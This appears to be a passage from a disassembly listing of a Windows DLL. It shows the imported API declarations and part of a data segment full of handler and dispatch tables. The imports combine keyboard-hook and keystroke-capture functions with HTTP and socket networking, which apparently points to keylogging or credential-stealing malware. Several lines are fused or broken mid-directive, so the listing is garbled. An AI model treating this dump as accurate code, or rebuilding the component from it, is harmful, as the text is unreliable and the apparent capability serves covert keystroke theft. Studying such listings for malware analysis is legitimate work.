		extrn rand:dword	; CODE XREF: sub_1000274A+33p
					; sub_100139D0:loc_100139D5p ...
; char *__cdecl	strncat(char *Dest, const char *Source,	size_t Count)
		extrn strncat:dword	; CODE XREF: sub_100010BB+A1p
					; sub_100012D1+EBp ...

;
; Imports from OLEAUT32.dll
;
; UINT __stdcall SysStringByteLen(BSTR bstr)
		extrn SysStringByteLen:dword ; CODE XREF: sub_1000DC10+32p
					; DATA XREF: sub_1000DC10+32r
; BSTR __stdcall SysAllocStringByteLen(LPCSTR psz, UINT	len)
		extrn SysAllocStringByteLen:dword ; CODE XREF: sub_1000DC10+3Dp
					; DATA XREF: sub_1000DC10+3Dr
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn VariantClear:dword ; CODE	XREF: sub_1000DA70+Bp
					; sub_1000DAE0+Bp ...
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn VariantInit:dword	; CODE XREF: sub_1000DA10+Bp
					; DATA XREF: sub_1000DA10+Br
; HRESULT __stdcall VariantCopy(VARIANTARG *pvargDest, const VARIANTARG	*pvargSrc)
		extrn VariantCopy:dword	; CODE XREF: sub_1000DA10+19p
					; DATA XREF: sub_1000DA10+19r
; void __stdcall SysFreeString(BSTR bstrString)
		extrn SysFreeString:dword ; CODE XREF: sub_1000D9D0+17p
					; DATA XREF: sub_1000D9D0+17r
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_1000D8C0+37p
					; sub_1000D8C0+46p
					; DATA XREF: ...
; HRESULT __stdcall GetErrorInfo(ULONG dwReserved, IErrorInfo **pperrinfo)
		extrn GetErrorInfo:dword ; CODE	XREF: sub_1001C8FE+44p
					; DATA XREF: sub_1001C8FE+44r
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn SysAllocString:dword ; CODE XREF:	sub_1001C99D+66p
					; DATA XREF: sub_1001C99D+66r

;
; Imports from Secur32.dll
;
; SECURITY_STATUS __stdcall DecryptMessage(PCtxtHandle phContext, PSecBufferDesc pMessage, unsigned __int32 MessageSeqNo, unsigned __int32 *pfQOP)
		extrn __imp_DecryptMessage:dword ; DATA	XREF: DecryptMessager
; SECURITY_STATUS __stdcall EncryptMessage(PCtxtHandle phContext, unsigned __int32 fQOP, PSecBufferDesc	pMessage, unsigned __int32 MessageSeqNo)
		extrn __imp_EncryptMessage:dword ; DATA	XREF: EncryptMessager

;
; Imports from USER32.dll
;
; BOOL __stdcall IsWindowVisible(HWND hWnd)
		extrn IsWindowVisible:dword ; CODE XREF: fn+7p
					; DATA XREF: fn+7r
; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam)
		extrn EnumThreadWindows:dword ;	CODE XREF: sub_10002F3C+73p
					; DATA XREF: sub_10002F3C+73r
; int wsprintfW(LPWSTR,	LPCWSTR, ...)
		extrn wsprintfW:dword	; CODE XREF: TimerFunc+1DAp
					; DATA XREF: TimerFunc+1DAr
; BOOL __stdcall KillTimer(HWND	hWnd, UINT_PTR uIDEvent)
		extrn KillTimer:dword	; CODE XREF: TimerFunc+97p
					; sub_1000AF7F+Bp
					; DATA XREF: ...
; BOOL __stdcall UnhookWindowsHookEx(HHOOK hhk)
		extrn UnhookWindowsHookEx:dword	; CODE XREF: TimerFunc+68p
					; TimerFunc+7Fp ...
; HHOOK	__stdcall SetWindowsHookExA(int	idHook,	HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId)
		extrn SetWindowsHookExA:dword ;	CODE XREF: sub_10003460+3Ep
					; sub_1000537C+170p ...
; DWORD	__stdcall GetWindowThreadProcessId(HWND	hWnd, LPDWORD lpdwProcessId)
		extrn GetWindowThreadProcessId:dword ; CODE XREF: sub_10003460+2Cp
					; .text:10004AF3p ...
; LRESULT __stdcall CallNextHookEx(HHOOK hhk, int nCode, WPARAM	wParam,	LPARAM lParam)
		extrn CallNextHookEx:dword ; CODE XREF:	sub_10003541+9Dp
					; sub_10003541+B8p ...
; LRESULT __stdcall SendMessageTimeoutA(HWND hWnd, UINT	Msg, WPARAM wParam, LPARAM lParam, UINT	fuFlags, UINT uTimeout,	PDWORD_PTR lpdwResult)
		extrn SendMessageTimeoutA:dword	; CODE XREF: sub_10003645+5Ap
					; DATA XREF: sub_10003645+5Ar
; UINT __stdcall RegisterWindowMessageA(LPCSTR lpString)
		extrn RegisterWindowMessageA:dword ; CODE XREF:	sub_10003645+37p
					; sub_1000C9DC+14Ep
					; DATA XREF: ...
; BOOL __stdcall ScreenToClient(HWND hWnd, LPPOINT lpPoint)
		extrn ScreenToClient:dword ; CODE XREF:	sub_10003786+CF8p
					; DATA XREF: sub_10003786+CF8r
; BOOL __stdcall GetCursorPos(LPPOINT lpPoint)
		extrn GetCursorPos:dword ; CODE	XREF: sub_10003786+CE4p
					; sub_10004960+44p
					; DATA XREF: ...
; int __stdcall	ToAsciiEx(UINT uVirtKey, UINT uScanCode, const BYTE *lpKeyState, LPWORD	lpChar,	UINT uFlags, HKL dwhkl)
		extrn ToAsciiEx:dword	; CODE XREF: .text:10004B56p
					; sub_10004DAA+F0p
					; DATA XREF: ...
; HKL __stdcall	GetKeyboardLayout(DWORD	idThread)
		extrn GetKeyboardLayout:dword ;	CODE XREF: .text:10004B24p
					; sub_10004DAA+BEp
					; DATA XREF: ...
; HWND __stdcall GetAncestor(HWND hwnd,	UINT gaFlags)
		extrn __imp_GetAncestor:dword ;	DATA XREF: GetAncestorr
; BOOL __stdcall AttachThreadInput(DWORD idAttach, DWORD idAttachTo, BOOL fAttach)
		extrn AttachThreadInput:dword ;	CODE XREF: .text:10004B01p
					; .text:10004D31p ...
; HWND __stdcall GetForegroundWindow()
		extrn GetForegroundWindow:dword	; CODE XREF: .text:10004AB2p
					; .text:10004B16p ...
; int __stdcall	DrawTextW(HDC hdc, LPCWSTR lpchText, int cchText, LPRECT lprc, UINT format)
		extrn DrawTextW:dword	; CODE XREF: sub_10004DAA+295p
					; DATA XREF: sub_10004DAA+295r
; int wsprintfA(LPSTR, LPCSTR, ...)
		extrn wsprintfA:dword	; CODE XREF: sub_100050D9+249p
					; DATA XREF: sub_100050D9+249r
; int __stdcall	DrawTextA(HDC hdc, LPCSTR lpchText, int	cchText, LPRECT	lprc, UINT format)
		extrn DrawTextA:dword	; CODE XREF: sub_100050D9+1EEp
					; sub_100050D9+265p
					; DATA XREF: ...
; LRESULT __stdcall DispatchMessageA(const MSG *lpMsg)
		extrn DispatchMessageA:dword ; CODE XREF: sub_1000537C+20Dp
					; DATA XREF: sub_1000537C+20Dr
; BOOL __stdcall TranslateMessage(const	MSG *lpMsg)
		extrn TranslateMessage:dword ; CODE XREF: sub_1000537C+203p
					; DATA XREF: sub_1000537C+203r
; UINT_PTR __stdcall SetTimer(HWND hWnd, UINT_PTR nIDEvent, UINT uElapse, TIMERPROC lpTimerFunc)
		extrn SetTimer:dword	; CODE XREF: sub_1000537C+1E0p
					; sub_1000AF7F+34p ...
; int __stdcall	FillRect(HDC hDC, const	RECT *lprc, HBRUSH hbr)
		extrn FillRect:dword	; CODE XREF: sub_1000537C+14Cp
					; DATA XREF: sub_1000537C+14Cr
; int __stdcall	ReleaseDC(HWND hWnd, HDC hDC)
		extrn ReleaseDC:dword	; CODE XREF: sub_1000537C+10Cp
					; DATA XREF: sub_1000537C+10Cr
; HDC __stdcall	GetDC(HWND hWnd)
		extrn GetDC:dword	; CODE XREF: sub_1000537C+55p
					; DATA XREF: sub_1000537C+55r
; BOOL __stdcall ExitWindowsEx(UINT uFlags, DWORD dwReason)
		extrn ExitWindowsEx:dword ; CODE XREF: sub_1000579B+52p
					; DATA XREF: sub_1000579B+52r
; int __stdcall	MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,	UINT uType)
		extrn MessageBoxA:dword	; CODE XREF: sub_100105F9+Dp
					; DATA XREF: sub_100105F9+Dr
; int __stdcall	GetSystemMetrics(int nIndex)
		extrn GetSystemMetrics:dword ; CODE XREF: sub_10001DE0+Bp
					; sub_10001DE0+1Bp ...
; BOOL __stdcall GetKeyboardState(PBYTE	lpKeyState)
		extrn GetKeyboardState:dword ; CODE XREF: .text:10004B0Ep
					; sub_10004DAA+A8p
					; DATA XREF: ...
; BOOL __stdcall GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax)
		extrn GetMessageA:dword	; CODE XREF: sub_1000537C+1F5p
					; DATA XREF: sub_1000537C+1F5r
; int __stdcall	GetClassNameA(HWND hWnd, LPSTR lpClassName, int	nMaxCount)
		extrn GetClassNameA:dword ; CODE XREF: sub_10001D30+19p
					; .text:10001DA8p ...
; BOOL __stdcall EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam)
		extrn EnumChildWindows:dword ; CODE XREF: .text:10001DCFp
					; .text:100020A4p
					; DATA XREF: ...
; LRESULT __stdcall SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
		extrn SendMessageA:dword ; CODE	XREF: sub_10001DE0+E2p
					; sub_10001DE0+129p ...
; HWND __stdcall WindowFromPoint(POINT Point)
		extrn WindowFromPoint:dword ; CODE XREF: sub_10001DE0+50p
					; sub_10004960+5Ep ...

;
; Imports from WININET.dll
;
		extrn InternetSetStatusCallback:dword ;	DATA XREF: sub_1000FDDB+16Dr
		extrn HttpSendRequestExA:dword ; DATA XREF: sub_1000FDDB+13Fr
		extrn InternetQueryDataAvailable:dword ; DATA XREF: sub_1000FDDB+129r
		extrn HttpSendRequestA:dword ; DATA XREF: sub_1000FDDB+113r
		extrn HttpSendRequestW:dword ; DATA XREF: sub_1000FDDB+FBr
		extrn HttpOpenRequestA:dword ; DATA XREF: sub_1000FDDB+E5r
		extrn InternetOpenUrlA:dword ; DATA XREF: sub_1000FDDB+CFr
		extrn InternetReadFileExA:dword	; DATA XREF: sub_1000FDDB+B7r
		extrn InternetWriteFile:dword ;	DATA XREF: sub_1000FDDB+A1r
		extrn InternetReadFile:dword ; DATA XREF: sub_1000FDDB+8Br
		extrn InternetConnectA:dword ; CODE XREF: sub_10011E49+450p
					; DATA XREF: sub_1000FDDB+5Dr ...
		extrn GetUrlCacheEntryInfoA:dword ; DATA XREF: sub_1000FDDB+47r
		extrn InternetCloseHandle:dword	; CODE XREF: sub_10011E49+388p
					; DATA XREF: sub_10011E49+388r
		extrn InternetQueryOptionA:dword ; CODE	XREF: sub_10011E49+17Fp
					; sub_10011E49+3A2p ...

;
; Imports from WS2_32.dll
;
; int __stdcall	WSAIoctl(SOCKET	s, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer,	LPVOID lpvOutBuffer, DWORD cbOutBuffer,	LPDWORD	lpcbBytesReturned, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
		extrn WSAIoctl:dword	; CODE XREF: sub_10014B0F+23Ap
					; sub_10016C4C+2C3p
					; DATA XREF: ...
; int __stdcall	getsockname(SOCKET s, struct sockaddr *name, int *namelen)
		extrn getsockname:dword	; CODE XREF: sub_10014769+8Ep
					; sub_10014871+4Cp
					; DATA XREF: ...
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_100142FF+A7p
					; DATA XREF: sub_100142FF+A7r
; int __stdcall	getpeername(SOCKET s, struct sockaddr *name, int *namelen)
		extrn getpeername:dword	; CODE XREF: sub_10011AA3+FAp
					; sub_10011CA2+A8p
					; DATA XREF: ...
; struct hostent *__stdcall gethostbyaddr(const	char *addr, int	len, int type)
		extrn gethostbyaddr:dword ; CODE XREF: sub_10011AA3+112p
					; sub_10011CA2+C0p
					; DATA XREF: ...
; int __stdcall	WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent,	DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE	lpCompletionRoutine)
		extrn WSASend:dword	; DATA XREF: sub_1000FDDB+19Br
; int __stdcall	send(SOCKET s, const char *buf,	int len, int flags)
		extrn send:dword	; CODE XREF: sub_10005E66+27Ap
					; StartAddress+4ABp ...
; int __stdcall	select(int nfds, fd_set	*readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout)
		extrn select:dword	; CODE XREF: sub_10005E66+33Ap
					; sub_10005E66+4F0p ...
; int __stdcall	recv(SOCKET s, char *buf, int len, int flags)
		extrn recv:dword	; CODE XREF: sub_10005E66+373p
					; sub_10005E66+50Fp ...
; int __stdcall	WSAStartup(WORD	wVersionRequested, LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: sub_10005BE3+A3p
					; sub_10005E66+131p ...
; struct hostent *__stdcall gethostbyname(const	char *name)
		extrn gethostbyname:dword ; CODE XREF: sub_10005BE3+CFp
					; sub_10005E66+167p ...
; u_short __stdcall htons(u_short hostshort)
		extrn htons:dword	; CODE XREF: sub_10005BE3+12Ap
					; sub_10005E66+1C2p ...
; SOCKET __stdcall socket(int af, int type, int	protocol)
		extrn socket:dword	; CODE XREF: sub_10005BE3+13Fp
					; sub_10005E66+1D7p ...
; int __stdcall	connect(SOCKET s, const	struct sockaddr	*name, int namelen)
		extrn connect:dword	; CODE XREF: sub_10005BE3+1F2p
					; sub_10005E66+205p ...
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_10005BE3+218p
					; sub_10005BE3+24Dp ...
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_10016C4C+325p
					; DATA XREF: sub_10016C4C+325r

;
; Imports from ole32.dll
;
; HRESULT __stdcall CLSIDFromString(LPOLESTR lpsz, LPCLSID pclsid)
		extrn CLSIDFromString:dword ; CODE XREF: sub_10003645+B8p
					; DATA XREF: sub_10003645+B8r
; HRESULT __stdcall CoInitialize(LPVOID	pvReserved)
		extrn CoInitialize:dword ; CODE	XREF: sub_10003541+33p
					; sub_10003645+Ap
					; DATA XREF: ...
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	sub_10003541:loc_100035C0p
					; sub_10003645+92p ...

; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1001E444h
		align 10h
off_1001E450	dd offset sub_1000D1C0	; DATA XREF: sub_1000D1A0+Ao
					; sub_1000D2B0+Ao ...
		dd offset sub_1000D200
off_1001E458	dd offset sub_1000D3A0	; DATA XREF: strstreambuf::strstreambuf(char *,int,char	*)+30o
					; std::strstreambuf::strstreambuf(char *,int,char *)+2Eo
		dd offset sub_1000D200
off_1001E460	dd offset sub_1000EB00	; DATA XREF: sub_1000EA00+2Co
					; sub_1000EA94+Ao
		align 8
dword_1001E468	dd 0FFFFFFFFh			dd offset loc_1000EA69
		dd offset loc_1000EA6F
		align 8
dword_1001E478	dd 0FFFFFFFFh, 0		dd offset nullsub_1
		align 8
dword_1001E488	dd 0FFFFFFFFh, 0		dd offset nullsub_2
		align 8
dword_1001E498	dd 0FFFFFFFFh, 0		dd offset nullsub_3
		align 8
dword_1001E4A8	dd 0FFFFFFFFh, 0		dd offset nullsub_4
		align 8
dword_1001E4B8	dd 0FFFFFFFFh, 0		dd offset nullsub_5
		align 8
dword_1001E4C8	dd 0FFFFFFFFh, 0		dd offset nullsub_6
		align 8
dword_1001E4D8	dd 0FFFFFFFFh, 0		dd offset nullsub_7
		align 8
dword_1001E4E8	dd 0FFFFFFFFh, 0		dd offset nullsub_8
		align 8
dword_1001E4F8	dd 0FFFFFFFFh, 0		dd offset nullsub_9
		align 8
dword_1001E508	dd 0FFFFFFFFh, 0		dd offset nullsub_10
		align 8
dword_1001E518	dd 0FFFFFFFFh, 0		dd offset sub_100105F9
		align 8
dword_1001E528	dd 0FFFFFFFFh, 0		dd offset sub_1001087A
		align 8
dword_1001E538	dd 0FFFFFFFFh, 0		dd offset nullsub_11
		align 8
dword_1001E548	dd 0FFFFFFFFh, 0		dd offset nullsub_12
		align 8
dword_1001E558	dd 0FFFFFFFFh, 0		dd offset nullsub_13
		align 8
dword_1001E568	dd 0FFFFFFFFh, 0		dd offset nullsub_14
		align 8
dword_1001E578	dd 0FFFFFFFFh, 0		dd offset nullsub_15
		align 8
dword_1001E588	dd 0FFFFFFFFh, 0		dd offset nullsub_16
		align 8
dword_1001E598	dd 0FFFFFFFFh, 0		dd offset nullsub_17
		align 8
dword_1001E5A8	dd 0FFFFFFFFh, 0		dd offset nullsub_18
		align 8
dword_1001E5B8	dd 0FFFFFFFFh, 0		dd offset nullsub_19
		align 8
dword_1001E5C8	dd 0FFFFFFFFh			dd offset loc_100176D5
		dd offset loc_100176D9
		align 8
dword_1001E5D8	dd 0FFFFFFFFh			dd offset loc_1001803D
		dd offset loc_10018041
		align 8
dword_1001E5E8	dd 2ED7A3FFh, 4A8D3339h, 98D45C80h, 8FC23F15hdword_1001E5F8	dd 0FFFFFFFFh			dd offset loc_10018201
		dd offset loc_10018205
		align 8
dword_1001E608	dd 0FFFFFFFFh			dd offset loc_10018303
		dd offset loc_10018307
		align 8
dword_1001E618	dd 0FFFFFFFFh			dd offset loc_10018436
		dd offset loc_1001843A
		align 8
byte_1001E628	db 0			; DATA XREF: sub_10018621+59r
		align 4
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 0
		dd 2411h, 1010101h, 1010102h, 1010101h,	1010102h, 1010101h
		dd 1010102h, 1010101h, 1010102h, 1010101h, 1010102h, 1010101h
		dd 1010102h, 1010101h, 1010102h, 1010101h, 1010102h, 4040404h
		dd 4040405h, 4040404h, 4040405h, 4040404h, 4040405h, 4040404h
		dd 4040405h, 4040404h, 4040405h, 4040404h, 4040405h, 4040404h
		dd 4040405h, 4040404h, 4040405h, 10h dup(0)
dword_1001E728	dd 12200h						; sub_10018714+20o
		dd offset sub_10018621
		dd 12201h
		dd offset sub_10018621
		dd 12202h
		dd offset sub_10018621
		dd 12203h
		dd offset sub_10018621
		dd 2204h
		dd offset sub_10018621
		dd 3505h
		dd offset sub_10018621
		dd 1106h
		dd offset sub_10018621
		dd 1107h
		dd offset sub_10018621
		dd 12208h
		dd offset sub_10018621
		dd 12209h
		dd offset sub_10018621
		dd 1220Ah
		dd offset sub_10018621
		dd 1220Bh
		dd offset sub_10018621
		dd 220Ch
		dd offset sub_10018621
		dd 350Dh
		dd offset sub_10018621
		dd 110Eh
		dd offset sub_10018621
		dd 110Fh
		dd offset sub_100187F7
		dd 12210h
		dd offset sub_10018621
		dd 12211h
		dd offset sub_10018621
		dd 12212h
		dd offset sub_10018621
		dd 12213h
		dd offset sub_10018621
		dd 2214h
		dd offset sub_10018621
		dd 3515h
		dd offset sub_10018621
		dd 1116h
		dd offset sub_10018621
		dd 1117h
		dd offset sub_10018621
		dd 12218h
		dd offset sub_10018621
		dd 12219h
		dd offset sub_10018621
		dd 1221Ah
		dd offset sub_10018621
		dd 1221Bh
		dd offset sub_10018621
		dd 221Ch
		dd offset sub_10018621
		dd 351Dh
		dd offset sub_10018621
		dd 111Eh
		dd offset sub_10018621
		dd 111Fh
		dd offset sub_10018621
		dd 12220h
		dd offset sub_10018621
		dd 12221h
		dd offset sub_10018621
		dd 12222h
		dd offset sub_10018621
		dd 12223h
		dd offset sub_10018621
		dd 2224h
		dd offset sub_10018621
		dd 3525h
		dd offset sub_10018621
		dd 1126h
		dd offset sub_10018714
		dd 1127h
		dd offset sub_10018621
		dd 12228h
		dd offset sub_10018621
		dd 12229h
		dd offset sub_10018621
		dd 1222Ah
		dd offset sub_10018621
		dd 1222Bh
		dd offset sub_10018621
		dd 222Ch
		dd offset sub_10018621
		dd 352Dh
		dd offset sub_10018621
		dd 112Eh
		dd offset sub_10018714
		dd 112Fh
		dd offset sub_10018621
		dd 12230h
		dd offset sub_10018621
		dd 12231h
		dd offset sub_10018621
		dd 12232h
		dd offset sub_10018621
		dd 12233h
		dd offset sub_10018621
		dd 2234h
		dd offset sub_10018621
		dd 3535h
		dd offset sub_10018621
		dd 1136h
		dd offset sub_10018714
		dd 1137h
		dd offset sub_10018621
		dd 12238h
		dd offset sub_10018621
		dd 12239h
		dd offset sub_10018621
		dd 1223Ah
		dd offset sub_10018621
		dd 1223Bh
		dd offset sub_10018621
		dd 223Ch
		dd offset sub_10018621
		dd 353Dh
		dd offset sub_10018621
		dd 113Eh
		dd offset sub_10018714
		dd 113Fh
		dd offset sub_10018621
		dd 1140h
		dd offset sub_10018621
		dd 1141h
		dd offset sub_10018621
		dd 1142h
		dd offset sub_10018621
		dd 1143h
		dd offset sub_10018621
		dd 1144h
		dd offset sub_10018621
		dd 1145h
		dd offset sub_10018621
		dd 1146h
		dd offset sub_10018621
		dd 1147h
		dd offset sub_10018621
		dd 1148h
		dd offset sub_10018621
		dd 1149h
		dd offset sub_10018621
		dd 114Ah
		dd offset sub_10018621
		dd 114Bh
		dd offset sub_10018621
		dd 114Ch
		dd offset sub_10018621
		dd 114Dh
		dd offset sub_10018621
		dd 114Eh
		dd offset sub_10018621
		dd 114Fh
		dd offset sub_10018621
		dd 1150h
		dd offset sub_10018621
		dd 1151h
		dd offset sub_10018621
		dd 1152h
		dd offset sub_10018621
		dd 1153h
		dd offset sub_10018621
		dd 1154h
		dd offset sub_10018621
		dd 1155h
		dd offset sub_10018621
		dd 1156h
		dd offset sub_10018621
		dd 1157h
		dd offset sub_10018621
		dd 1158h
		dd offset sub_10018621
		dd 1159h
		dd offset sub_10018621
		dd 115Ah
		dd offset sub_10018621
		dd 115Bh
		dd offset sub_10018621
		dd 115Ch
		dd offset sub_10018621
		dd 115Dh
		dd offset sub_10018621
		dd 115Eh
		dd offset sub_10018621
		dd 115Fh
		dd offset sub_10018621
		dd 1160h
		dd offset sub_10018621
		dd 1161h
		dd offset sub_10018621
		dd 12262h
		dd offset sub_10018621
		dd 12263h
		dd offset sub_10018621
		dd 1164h
		dd offset sub_10018714
		dd 1165h
		dd offset sub_10018714
		dd 1166h
		dd offset sub_1001882C
		dd 1167h
		dd offset sub_10018846
		dd 3568h
		dd offset sub_10018621
		dd 4014669h
		dd offset sub_10018621
		dd 226Ah
		dd offset sub_10018621
		dd 101336Bh
		dd offset sub_10018621
		dd 116Ch
		dd offset sub_10018621
		dd 116Dh
		dd offset sub_10018621
		dd 116Eh
		dd offset sub_10018621
		dd 116Fh
		dd offset sub_10018621
		dd 102270h
		dd offset sub_10018621
		dd 102271h
		dd offset sub_10018621
		dd 102272h
		dd offset sub_10018621
		dd 102273h
		dd offset sub_10018621
		dd 102274h
		dd offset sub_10018621
		dd 102275h
		dd offset sub_10018621
		dd 102276h
		dd offset sub_10018621
		dd 102277h
		dd offset sub_10018621
		dd 102278h
		dd offset sub_10018621
		dd 102279h
		dd offset sub_10018621
		dd 10227Ah
		dd offset sub_10018621
		dd 10227Bh
		dd offset sub_10018621
		dd 10227Ch
		dd offset sub_10018621
		dd 10227Dh
		dd offset sub_10018621
		dd 10227Eh
		dd offset sub_10018621
		dd 10227Fh
		dd offset sub_10018621
		dd 1013380h
		dd offset sub_10018621
		dd 4014681h
		dd offset sub_10018621
		dd 2282h
		dd offset sub_10018621
		dd 1013383h
		dd offset sub_10018621
		dd 12284h
		dd offset sub_10018621
		dd 12285h
		dd offset sub_10018621
		dd 12286h
		dd offset sub_10018621
		dd 12287h
		dd offset sub_10018621
		dd 12288h
		dd offset sub_10018621
		dd 12289h
		dd offset sub_10018621
		dd 1228Ah
		dd offset sub_10018621
		dd 1228Bh
		dd offset sub_10018621
		dd 1228Ch
		dd offset sub_10018621
		dd 1228Dh
		dd offset sub_10018621
		dd 1228Eh
		dd offset sub_10018621
		dd 1228Fh
		dd offset sub_10018621
		dd 1190h
		dd offset sub_10018621
		dd 1191h
		dd offset sub_10018621
		dd 1192h
		dd offset sub_10018621
		dd 1193h
		dd offset sub_10018621
		dd 1194h
		dd offset sub_10018621
		dd 1195h
		dd offset sub_10018621
		dd 1196h
		dd offset sub_10018621
		dd 1197h
		dd offset sub_10018621
		dd 1198h
		dd offset sub_10018621
		dd 1199h
		dd offset sub_10018621
		dd 1000579Ah
		dd offset sub_10018621
		dd 119Bh
		dd offset sub_10018621
		dd 119Ch
		dd offset sub_10018621
		dd 119Dh
		dd offset sub_10018621
		dd 119Eh
		dd offset sub_10018621
		dd 119Fh
		dd offset sub_10018621
		dd 200035A0h
		dd offset sub_10018621
		dd 200035A1h
		dd offset sub_10018621
		dd 200035A2h
		dd offset sub_10018621
		dd 200035A3h
		dd offset sub_10018621
		dd 11A4h
		dd offset sub_10018621
		dd 11A5h
		dd offset sub_10018621
		dd 11A6h
		dd offset sub_10018621
		dd 11A7h
		dd offset sub_10018621
		dd 22A8h
		dd offset sub_10018621
		dd 35A9h
		dd offset sub_10018621
		dd 11AAh
		dd offset sub_10018621
		dd 11ABh
		dd offset sub_10018621
		dd 11ACh
		dd offset sub_10018621
		dd 11ADh
		dd offset sub_10018621
		dd 11AEh
		dd offset sub_10018621
		dd 11AFh
		dd offset sub_10018621
		dd 22B0h
		dd offset sub_10018621
		dd 22B1h
		dd offset sub_10018621
		dd 22B2h
		dd offset sub_10018621
		dd 22B3h
		dd offset sub_10018621
		dd 22B4h
		dd offset sub_10018621
		dd 22B5h
		dd offset sub_10018621
		dd 22B6h
		dd offset sub_10018621
		dd 22B7h
		dd offset sub_10018621
		dd 800035B8h
		dd offset sub_10018621
		dd 35B9h
		dd offset sub_10018621
		dd 35BAh
		dd offset sub_10018621
		dd 35BBh
		dd offset sub_10018621
		dd 35BCh
		dd offset sub_10018621
		dd 35BDh
		dd offset sub_10018621
		dd 35BEh
		dd offset sub_10018621
		dd 35BFh
		dd offset sub_10018621
		dd 10133C0h
		dd offset sub_10018621
		dd 10133C1h
		dd offset sub_10018621
		dd 33C2h
		dd offset sub_10018621
		dd 11C3h
		dd offset sub_10018621
		dd 122C4h
		dd offset sub_10018621
		dd 122C5h
		dd offset sub_10018621
		dd 10133C6h
		dd offset sub_10018621
		dd 40146C7h
		dd offset sub_10018621
		dd 44C8h
		dd offset sub_10018621
		dd 11C9h
		dd offset sub_10018621
		dd 100033CAh
		dd offset sub_10018621
		dd 100011CBh
		dd offset sub_10018621
		dd 100011CCh
		dd offset sub_10018621
		dd 100022CDh
		dd offset sub_10018621
		dd 100011CEh
		dd offset sub_10018621
		dd 100011CFh
		dd offset sub_10018621
		dd 122D0h
		dd offset sub_10018621
		dd 122D1h
		dd offset sub_10018621
		dd 122D2h
		dd offset sub_10018621
		dd 122D3h
		dd offset sub_10018621
		dd 22D4h
		dd offset sub_10018621
		dd 22D5h
		dd offset sub_10018621
		dd 11D6h
		dd offset sub_100187EF
		dd 11D7h
		dd offset sub_10018621
		dd 122D8h
		dd offset sub_10018621
		dd 122D9h
		dd offset sub_10018621
		dd 122DAh
		dd offset sub_10018621
		dd 122DBh
		dd offset sub_10018621
		dd 122DCh
		dd offset sub_10018621
		dd 122DDh
		dd offset sub_10018621
		dd 122DEh
		dd offset sub_10018621
		dd 122DFh
		dd offset sub_10018621
		dd 401022E0h
		dd offset sub_10018621
		dd 401022E1h
		dd offset sub_10018621
		dd 401022E2h
		dd offset sub_10018621
		dd 1022E3h
		dd offset sub_10018621
		dd 22E4h
		dd offset sub_10018621
		dd 22E5h
		dd offset sub_10018621
		dd 22E6h
		dd offset sub_10018621
		dd 22E7h
		dd offset sub_10018621
		dd 1035E8h
		dd offset sub_10018621
		dd 1035E9h
		dd offset sub_10018621
		dd 100057EAh
		dd offset sub_10018621
		dd 1022EBh
		dd offset sub_10018621
		dd 11ECh
		dd offset sub_10018621
		dd 11EDh
		dd offset sub_10018621
		dd 11EEh
		dd offset sub_10018621
		dd 11EFh
		dd offset sub_10018621
		dd 11F0h
		dd offset sub_10018714
		dd 11F1h
		dd offset sub_100187EF
		dd 11F2h
		dd offset sub_10018714
		dd 11F3h
		dd offset sub_10018714
		dd 11F4h
		dd offset sub_10018621
		dd 11F5h
		dd offset sub_10018621
		dd 0F6h
		dd offset sub_10018861
		dd 0F7h
		dd offset sub_100188A6
		dd 11F8h
		dd offset sub_10018621
		dd 11F9h
		dd offset sub_10018621
		dd 11FAh
		dd offset sub_10018621
		dd 11FBh
		dd offset sub_10018621
		dd 11FCh
		dd offset sub_10018621
		dd 11FDh
		dd offset sub_10018621
		dd 122FEh
		dd offset sub_10018621
		dd 0FFh
		dd offset sub_100188EB
		align 10h
dword_1001EF30	dd 12200h			dd offset sub_10018621
		dd 12201h
		dd offset sub_10018621
		dd 12202h
		dd offset sub_10018621
		dd 12203h
		dd offset sub_10018621
		dd 1104h
		dd offset sub_100187EF
		dd 1105h
		dd offset sub_100187EF
		dd 2206h
		dd offset sub_10018621
		dd 1107h
		dd offset sub_100187EF
		dd 2208h
		dd offset sub_10018621
		dd 2209h
		dd offset sub_10018621
		dd 110Ah
		dd offset sub_100187EF
		dd 220Bh
		dd offset sub_10018621
		dd 110Ch
		dd offset sub_100187EF
		dd 1220Dh
		dd offset sub_10018621
		dd 220Eh
		dd offset sub_10018621
		dd 2330Fh
		dd offset sub_10018621
		dd 12210h
		dd offset sub_10018621
		dd 12211h
		dd offset sub_10018621
		dd 12212h
		dd offset sub_10018621
		dd 12213h
		dd offset sub_10018621
		dd 12214h
		dd offset sub_10018621
		dd 12215h
		dd offset sub_10018621
		dd 12216h
		dd offset sub_10018621
		dd 12217h
		dd offset sub_10018621
		dd 12218h
		dd offset sub_10018621
		dd 1119h
		dd offset sub_100187EF
		dd 111Ah
		dd offset sub_100187EF
		dd 111Bh
